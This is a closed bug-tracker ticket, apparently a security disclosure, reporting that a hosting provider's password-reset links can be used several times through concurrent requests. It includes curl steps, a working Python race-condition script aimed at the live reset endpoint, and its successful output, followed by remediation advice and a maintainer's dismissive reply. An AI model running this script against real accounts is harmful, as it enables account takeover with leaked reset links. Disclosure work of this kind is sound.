- Status Closed
-
Assigned To
cbay - Private
Opened by arise01x - 02.10.2026
Last edited by cbay - 02.10.2026
FS#513 - Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix
# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix
Affected endpoint: `POST https://admin.alwaysdata.com/user/reset_password/?user_id=<u>&token=<t>&expiration=<e>` (the link sent by `POST /password/lost/`)
Related: #279 ("reusable login token URL") — this report shows the single-use fix it introduced does not hold under concurrency
## Summary
The password-reset link is single-use sequentially: a second use submitted after the first one completes returns *"Le lien utilisé est invalide"* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, all of them pass the validity check and all are processed as a successful reset — each returns `200` with the authenticated panel and issues an authenticated session. Final run: 4/4 concurrent requests accepted; earlier runs: 2/2 accepted (both times).
Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim's reset appears to proceed, while the attacker's simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.
## Preconditions
- An account whose mailbox the tester controls (own test accounts were used; free plan).
- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence Low; the finding is that the documented single-use property fails under concurrency.
## Steps to reproduce
1. Request a reset link (own account):
```
curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
-H 'Referer: https://admin.alwaysdata.com/password/lost/' \
--data-urlencode 'csrfmiddlewaretoken=<csrf>' \
--data-urlencode 'email=<account email>'
```
→ `200` on `/password/sent/`; the e-mail contains:
`https://admin.alwaysdata.com/user/reset_password/?user_id=…&token=…&expiration=…`
2. Control (sequential). Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only after the first has completed. Result: first accepted, second rejected.
3. Race. N sessions each GET the link first, then POST simultaneously (thread barrier; `&` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.
Self-contained repro script (`python3 poc.py "<link>" <control|race> <N>`):
```python
import re, sys, threading, urllib.parse, urllib.request, http.cookiejar
BASE = "https://admin.alwaysdata.com"
def new_session(link):
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
body = op.open(link, timeout=30).read().decode("utf-8", "replace")
csrf = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', body).group(1)
return op, csrf
def submit(op, link, csrf, password):
data = urllib.parse.urlencode({"csrfmiddlewaretoken": csrf, "password": password}).encode()
body = op.open(urllib.request.Request(link, data=data,
headers={"Referer": link}), timeout=30).read().decode("utf-8", "replace")
flat = re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", body, flags=re.S))
if "lien utilisé est invalide" in flat: return "INVALID (rejected)"
if "Logout" in flat: return "ACCEPTED (authenticated panel page)"
return "?"
def is_authed(op):
home = op.open(BASE + "/", timeout=30).read().decode("utf-8", "replace")
return "Logout" in re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", home, flags=re.S))
link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
sess = [new_session(link) for _ in range(n)]
if mode == "control": # second POST after the first completed
for i, (op, csrf) in enumerate(sess):
print("POST #%d:" % i, submit(op, link, csrf, "SeqPw%d!x7Kq" % i))
else: # all POSTs fired simultaneously
out, barrier = {}, threading.Barrier(n)
def worker(i):
barrier.wait()
out[i] = submit(sess[i][0], link, sess[i][1], "RacePw%d!xyz" % i)
ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
[t.start() for t in ts]; [t.join() for t in ts]
for i in sorted(out): print("parallel POST #%d:" % i, out[i])
for i, (op, _) in enumerate(sess):
print("session #%d authenticated: %s" % (i, is_authed(op)))
```
Observed — race (`race`, N=4, fresh link from a newly requested e-mail): ```
parallel POST #0: ACCEPTED (authenticated panel page)
parallel POST #1: ACCEPTED (authenticated panel page)
parallel POST #2: ACCEPTED (authenticated panel page)
parallel POST #3: ACCEPTED (authenticated panel page)
session #0 authenticated: True
session #1 authenticated: True
session #2 authenticated: True
session #3 authenticated: True
```
Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).
## Impact
- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.
- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker's parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.
- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.
## Remediation
- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=<t> AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as "already used" — reject in-flight duplicates instead of processing them.
- Mark the token used before applying the password change, so exactly one concurrent request wins.
- Defence in depth: on successful reset, invalidate the user's other outstanding reset links and existing sessions.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
That scenario is too far-fetched to be plausible, in my opinion.
Kind regards,
Cyril